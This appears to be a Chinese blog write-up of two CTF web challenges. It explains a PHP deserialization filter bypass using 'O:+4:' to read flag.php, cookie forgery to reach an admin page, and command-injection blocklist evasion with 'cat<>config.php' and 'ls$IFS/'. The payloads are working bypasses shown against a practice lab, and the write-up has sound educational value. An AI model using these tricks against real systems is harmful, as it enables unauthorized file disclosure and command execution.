闲来无事想起安恒开了1月的周周练,就拿来练练手。
自己只做了web
的部分。
Web1 easy 题目很直接的给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php @error_reporting(1 ); include 'flag.php' ;class baby { public $file; function __toString () { if (isset ($this ->file)) { $filename = "./{$this->file}" ; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset ($_GET['data' ])) { $data = $_GET['data' ]; preg_match('/[oc]:\d+:/i' ,$data,$matches); if (count($matches)) { die ('Hacker!' ); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./index.php" ); } ?>
很明显的一个php反序列化漏洞,但是需要绕过/[oc]:\d+:/i
这个条件,而我们对象序列化出来的必须是
这么一个格式,逃不过这个正则的判断,也找到了php序列化的开头字母代表。
1 2 3 4 5 6 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
尝试用不同的字母绕过,比如说用R
,但是试了一下不行。也参考了一下PHP string序列化与反序列化语法解析不一致带来的安全隐患 ,发现或许有什么序列化的小trick
,也常使用科学计数法或者十六进制绕过,但是直接报错了。
然后发现了php反序列unserialize的一个小特性 ,可以在O:4:
中间加入+
,变成O:+4:
这样,与原效果一致,主要原因就是因为php对+
的词法解析是做了再看下一位判断。
所以这题只要加上+
绕过就好了,记得用url编码就好。
1 2 3 ?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";} ?data=O%3A%2B4%3A"baby"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
得到flag
Web2 ezweb2 发现Cookie
里有user=dXNlcg%3D%3D
,base64解码得到user=user
,尝试改为admin
,直接进入到了admin.php
的后台。
随便试了一下,发现是个命令执行。命令执行可以参考我上篇文章,巧用命令注入的N种方式 。
ls
可以得到
随便fuzz
了一下,发现可以用cat<>config.php
直接读取文件,文件内容如下。
Config.php:
1 2 3 4 5 6 7 8 <?php session_start(); function waf_exec ($str) { $black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i" ; $str = preg_replace($black_str, "" ,$str); return $str; }
Admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include 'config.php' ;if (!isset ($_SESSION['admin' ])||$_SESSION['admin' ]===false ) { die ("You are not admin..." ); } if (@$_POST['cmd' ]) { $cmd = waf_exec($_POST['cmd' ]); $retval = array (); exec($cmd, $retval, $status); if ($status == 0 ) { $res = implode("\n" ,$retval); }else { $res = 'error' ; } }else { $res = '' ; } include './templates/admin.html' ;
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include 'config.php' ;$userdata = @$_COOKIE['user' ]; if (!$userdata) { setcookie("user" ,base64_encode('user' )); $_SESSION['admin' ] = false ; }else { $user = base64_decode($userdata); if ($user == 'admin' ) { $_SESSION['admin' ] = true ; header("Location: admin.php" ); } } include './templates/index.html' ;
找了几个目录都找不到flag
,看来应该要到列目录才可以,但是又过滤了空格,就没办法用ls ..
这样,但是绕过空格的方法很多,我们这里直接用ls$IFS/
绕过空格。
看到flag
文件名字,直接读就好了。
总结 整体来说题目还是不错的。还是可以学到一点东西的。尤其是web1的小trick
,对于在绕waf
也有一定的作用。
最后更新时间:2019-01-22 16:01:23
版权声明:本博客除了标题明确标有[转载]的文章均为原创文章,若要转载请与作者取得联系。